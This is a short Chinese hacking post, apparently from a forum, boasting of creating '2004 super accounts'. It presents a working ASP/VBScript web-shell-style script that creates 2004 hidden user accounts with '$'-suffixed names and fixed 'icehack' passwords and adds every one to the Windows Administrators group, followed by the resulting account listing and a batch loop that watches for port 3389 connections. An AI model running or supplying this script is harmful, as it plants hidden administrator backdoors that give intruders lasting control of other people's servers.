2004个超级帐号

我没提升权限;真的;不知道他是怎么设置的:反正真的成功了;)你看:

1@codepage=936

Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
for i=1 to 2004
Set od=ob.Create("user","lp"&i&"$")
od.SetPassword "www.icehack"&i&".com"
od.SetInfo
Set of=GetObject(oz&"/lp"&i&"$,user")
oe.Add(of.ADsPath)
Next
Response.write "2004个超级帐号建立成功!"

 1结果:   
 2Administrators   
 3\-----------------------------------------------------   
 4Administrator   
 5  
 6lp1$   
 7lp2$   
 8lp3$   
 9lp4$   
10........   
11lp2003$   
12lp2004$ 2004个超级帐号建立成功! 
13
14  
15@cls   
16@color 0A   
17:start   
18@netstat -a │ find "3389" && goto 3389   
19@goto start   
20:3389   
21@echo 发现入侵者!!